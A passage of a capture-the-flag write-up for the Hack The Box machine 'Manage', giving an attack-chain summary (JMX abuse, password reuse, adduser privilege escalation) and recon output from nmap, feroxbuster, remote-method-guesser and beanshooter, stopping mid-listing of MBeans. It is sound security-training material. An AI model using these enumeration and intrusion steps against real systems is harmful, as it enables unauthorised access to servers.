HTB: Manage

Manage starts with a Tomcat website with RMI and JMX exposed. I’ll abuse these to get execution and a shell. I’ll find a Google Authenticator file in a backup archive, and use that with password reuse to pivot to the next user. That user can run adduser as root, but only giving a username. I’ll abuse this to create an admin user which gets the admin group which can sudo anything by defau
Box Info
Name | Manage ![]() Play on HackTheBox |
---|---|
Release Date | 29 Jul 2025 |
Retire Date | 29 Jul 2025 |
OS | Linux ![]() |
Base Points | Easy [20] |
![]() |
N/A (non-competitive) |
![]() |
N/A (non-competitive) |
Creators |
Recon
Initial Scanning
nmap
finds five open TCP ports, SSH (22), HTTP (8080), and three unknown potentially Java-related ports:
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-24 19:46 UTC
...[snip]...
Nmap scan report for 10.129.234.57
Host is up, received echo-reply ttl 63 (0.089s latency).
Scanned at 2025-07-24 19:46:51 UTC for 7s
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
2222/tcp open EtherNetIP-1 syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63
33129/tcp open unknown syn-ack ttl 63
41557/tcp open unknown syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds
Raw packets sent: 65542 (2.884MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,2222,8080,33129,41557 -sCV 10.129.234.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-24 19:47 UTC
Nmap scan report for 10.129.234.57
Host is up (0.089s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
|_ 256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
2222/tcp open java-rmi Java RMI
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @127.0.1.1:41557
| extends
| java.rmi.server.RemoteStub
| extends
|_ java.rmi.server.RemoteObject
8080/tcp open http Apache Tomcat 10.1.19
|_http-title: Apache Tomcat/10.1.19
|_http-favicon: Apache Tomcat
33129/tcp open tcpwrapped
41557/tcp open java-rmi Java RMI
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.25 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 22.04 jammy (though possibly 22.10 kinetic).
There’s a Tomcat webserver on 8080, which is Java-based. Java remote method invocation (RMI) is typically found on 1099, but 2222 and 41557 box say they are Java RMI. The script output on 2222 seems like a match for RMI.
All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Website - TCP 8080
Site
The website is the default Tomcat page:

Trying to visit the link to the Manager App returns a 403:

Server Status and Host Manager return the same.
Tech Stack
This is clearly a Tomcat site. The 404 page matches the default Tomcat 404:

It also gives the version 10.1.190 in the footer.
Directory Brute Force
I’ll run feroxbuster
against the site:
oxdf@hacky$ feroxbuster -u http://10.129.234.57:8080
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.234.57:8080
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 68w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 83l 433w 3446c http://10.129.234.57:8080/manager/status
403 GET 73l 389w 3022c http://10.129.234.57:8080/host-manager/html
403 GET 83l 433w 3446c http://10.129.234.57:8080/manager/html
200 GET 398l 788w 5584c http://10.129.234.57:8080/tomcat.css
302 GET 0l 0w 0c http://10.129.234.57:8080/docs => http://10.129.234.57:8080/docs/
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/config
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/appdev
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/manager-howto.html
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/realm-howto.html
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/deployer-howto.html
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/api/index.html
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/setup.html
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/changelog.html
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/security-howto.html
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/jndi-datasource-examples-howto.html
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/cluster-howto.html
403 GET 27l 89w 877c http://10.129.234.57:8080/docs/RELEASE-NOTES.txt
200 GET 22l 93w 42556c http://10.129.234.57:8080/favicon.ico
403 GET 27l 89w 877c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 83l 433w 3446c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 73l 389w 3022c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 27l 89w 865c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 967l 1204w 67795c http://10.129.234.57:8080/tomcat.svg
200 GET 198l 490w 11219c http://10.129.234.57:8080/
302 GET 0l 0w 0c http://10.129.234.57:8080/manager => http://10.129.234.57:8080/manager/
302 GET 0l 0w 0c http://10.129.234.57:8080/examples => http://10.129.234.57:8080/examples/
400 GET 1l 71w 763c http://10.129.234.57:8080/[
400 GET 1l 71w 763c http://10.129.234.57:8080/plain]
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/api/[
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/api/plain]
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/plain]
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/[
400 GET 1l 71w 763c http://10.129.234.57:8080/examples/plain]
400 GET 1l 71w 763c http://10.129.234.57:8080/examples/[
400 GET 1l 71w 763c http://10.129.234.57:8080/manager/plain]
400 GET 1l 71w 763c http://10.129.234.57:8080/manager/[
400 GET 1l 71w 763c http://10.129.234.57:8080/host-manager/[
400 GET 1l 71w 763c http://10.129.234.57:8080/host-manager/plain]
400 GET 1l 71w 763c http://10.129.234.57:8080/]
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/]
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/api/]
400 GET 1l 71w 763c http://10.129.234.57:8080/examples/]
400 GET 1l 71w 763c http://10.129.234.57:8080/manager/]
400 GET 1l 71w 763c http://10.129.234.57:8080/host-manager/]
400 GET 1l 71w 763c http://10.129.234.57:8080/quote]
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/quote]
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/api/quote]
400 GET 1l 71w 763c http://10.129.234.57:8080/examples/quote]
400 GET 1l 71w 763c http://10.129.234.57:8080/manager/quote]
400 GET 1l 71w 763c http://10.129.234.57:8080/host-manager/quote]
400 GET 1l 71w 763c http://10.129.234.57:8080/extension]
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/extension]
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/api/extension]
400 GET 1l 71w 763c http://10.129.234.57:8080/examples/extension]
400 GET 1l 71w 763c http://10.129.234.57:8080/manager/extension]
400 GET 1l 71w 763c http://10.129.234.57:8080/host-manager/extension]
400 GET 1l 71w 763c http://10.129.234.57:8080/[0-9]
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/[0-9]
400 GET 1l 71w 763c http://10.129.234.57:8080/docs/api/[0-9]
400 GET 1l 71w 763c http://10.129.234.57:8080/examples/[0-9]
400 GET 1l 71w 763c http://10.129.234.57:8080/manager/[0-9]
400 GET 1l 71w 763c http://10.129.234.57:8080/host-manager/[0-9]
[####################] - 2m 180038/180038 0s found:58 errors:0
[####################] - 2m 30000/30000 260/s http://10.129.234.57:8080/
[####################] - 2m 30000/30000 250/s http://10.129.234.57:8080/examples/
[####################] - 2m 30000/30000 257/s http://10.129.234.57:8080/docs/
[####################] - 2m 30000/30000 244/s http://10.129.234.57:8080/manager/
[####################] - 2m 30000/30000 243/s http://10.129.234.57:8080/host-manager/
[####################] - 2m 30000/30000 256/s http://10.129.234.57:8080/docs/api/
Nothing too interesting here.
Java RMI - TCP 2222
remote-method-guesser
I’ll use the tool remote-method-guesser to enumerate the RMI instance. I’ll download that latest Jar release from the GitHub release page, and give it a run in enum
mode:
oxdf@hacky$ java -jar rmg-5.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: 127.0.1.1:41557 CSF: RMISocketFactory ObjID: [-41777b98:1983e05c0e0:-7fff, 4223655025105295607]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Server complained that object cannot be casted to java.lang.String.
[+] --> The type java.lang.String is unmarshalled via readString().
[+] Configuration Status: Current Default
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - RMI registry uses readString() for unmarshalling java.lang.String.
[+] This prevents useCodebaseOnly enumeration from remote.
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Registry rejected unbind call cause it was not sent from localhost.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Caught Exception containing 'no security manager' during RMI call.
[+] --> The server does not use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - RMI registry uses readString() for unmarshalling java.lang.String.
[+] This prevents JEP 290 bypass enumeration from remote.
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught NoSuchObjectException during activate call (activator not present).
[+] Configuration Status: Current Default
Nothing interesting.
JMX Enumeration
Java management extensions (JMX) is another tool that can be communicated with via RMI.
The author of remote-method-guesser
make another tool, beanshooter, which will enumerate JMX for any vulnerabilities. I’ll download the Jar file from the GitHub releases page and give it a run in enum
mode:
oxdf@hacky$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222
[+] Checking available bound names:
[+]
[+] * jmxrmi (JMX endpoint: 127.0.1.1:41557)
[+]
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server does not require authentication.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer rejected the payload class.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 198 MBeans are currently registered on the MBean server.
[+] Listing 176 non default MBeans:
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/host-manager)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/manager,name=RemoteAddrValve)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/host-manager,name=HostManager,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080")
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=default,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.RoleMBean (Users:type=Role,rolename="role1",database=UserDatabase)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest22)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest1)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/manager)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=SessionExample,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/host-manager,name=Cache)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=RequestHeaderExample,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest24)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/manager,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/host-manager,name=StandardContextValve)
[+] - org.apache.catalina.mbeans.ServiceMBean (Catalina:type=Service)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=jsp,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest36)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/docs,name=NonLoginAuthenticator)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest10)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest19)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=JspMonitor,WebModule=//localhost/manager,name=jsp,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest38)
[+] - org.apache.catalina.mbeans.ContextMBean (Catalina:j2eeType=WebModule,name=//localhost/docs,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest3)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest20)
[+] - jdk.management.jfr.FlightRecorderMXBeanImpl (jdk.management.jfr:type=FlightRecorder) (action: recorder)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest32)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Manager,host=localhost,context=/examples)
[+] - org.apache.catalina.mbeans.ContextEnvironmentMBean (Catalina:type=Environment,resourcetype=Context,host=localhost,context=/examples,name=minExemptions)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/docs)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=StringCache)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=simpleimagepush,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/examples,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.UserMBean (Users:type=User,username="admin",database=UserDatabase)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Manager,host=localhost,context=/host-manager)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest14)
[+] - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources,host=localhost,context=/)
[+] - org.apache.catalina.mbeans.ClassNameMBean (Catalina:type=ThreadPool,name="http-nio-8080")
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest26)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/manager,name=CSRF,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:type=Engine)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/docs,name=jsp,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/host-manager,name=jsp,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest27)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest28)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/examples,name=Request Dumper Filter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Mapper)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=RequestParamExample,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.RoleMBean (Users:type=Role,rolename="admin-gui",database=UserDatabase)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ParallelWebappClassLoader,host=localhost,context=/examples)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/examples,name=HTTP header security filter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Realm,realmPath=/realm0/realm0)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=JspMonitor,WebModule=//localhost/examples,name=jsp,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/examples,name=RemoteAddrValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest13)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=MBeanFactory)
[+] - com.sun.management.internal.HotSpotDiagnostic (com.sun.management:type=HotSpotDiagnostic) (action: hotspot)
[+] - org.apache.catalina.mbeans.ContextMBean (Catalina:j2eeType=WebModule,name=//localhost/,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ProtocolHandler,port=8080)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,name=StandardEngineValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ParallelWebappClassLoader,host=localhost,context=/docs)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest12)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=CookieExample,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest33)
[+] - org.apache.catalina.mbeans.ContextMBean (Catalina:j2eeType=WebModule,name=//localhost/examples,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=RequestInfoExample,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Manager,host=localhost,context=/manager)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest40)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/manager,name=StandardContextValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/examples)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/docs,name=default,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest29)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/examples,name=Compression Filter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest34)
[+] - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources,host=localhost,context=/docs)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=Status,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest11)
[+] - org.apache.catalina.mbeans.UserMBean (Users:type=User,username="manager",database=UserDatabase)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=JMXProxy,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=HTMLManager,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=numberwriter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources,host=localhost,context=/host-manager)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/host-manager,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/manager,name=HTTP header security filter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest35)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/manager)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest2)
[+] - org.apache.catalina.mbeans.ContextEnvironmentMBean (Catalina:type=Environment,resourcetype=Context,host=localhost,context=/examples,name=name3)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest21)
[+] - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources,host=localhost,context=/examples)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/examples,name=Cache)
[+] - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=stock,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ContextEnvironmentMBean (Catalina:type=Environment,resourcetype=Context,host=localhost,context=/examples,name=foo/name1)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=ServletToJsp,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/docs,name=StandardContextValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest25)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/host-manager,name=HTMLHostManager,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/docs,name=RemoteAddrValve)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=async1,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/host-manager,name=default,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=async0,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest9)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Realm,realmPath=/realm0)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=async3,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=async2,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources,host=localhost,context=/manager)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Deployer,host=localhost)
[+] - org.apache.catalina.mbeans.ContextResourceMBean (Catalina:type=Resource,resourcetype=Global,class=org.apache.catalina.UserDatabase,name="UserDatabase")
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=Manager,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest4)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/host-manager)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/host-manager,name=BasicAuthenticator)
[+] - org.apache.catalina.mbeans.MemoryUserDatabaseMBean (Users:type=UserDatabase,database=UserDatabase) (action: tomcat)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/examples,name=Timing Filter,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=UtilityExecutor)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/,name=default,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=CompressionFilterTestServlet,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ConnectorMBean (Catalina:type=Connector,port=8080)
[+] - org.apache.catalina.mbeans.RoleMBean (Users:type=Role,rolename="manage-gui",database=UserDatabase)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest37)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/host-manager,name=CSRF,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.catalina.mbeans.ContextMBean (Catalina:j2eeType=WebModule,name=//localhost/manager,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=ErrorReportValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=RequestProcessor,worker="http-nio-8080",name=HttpRequest31)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=WebResourceRoot,host=localhost,context=/examples)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:type=Host,host=localhost)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=JspMonitor,WebModule=//localhost/host-manager,name=jsp,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=JspMonitor,WebModule=//localhost/docs,name=jsp,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,context=/examples,name=FormAuthenticator)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=default,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Manager,host=localhost,context=/)
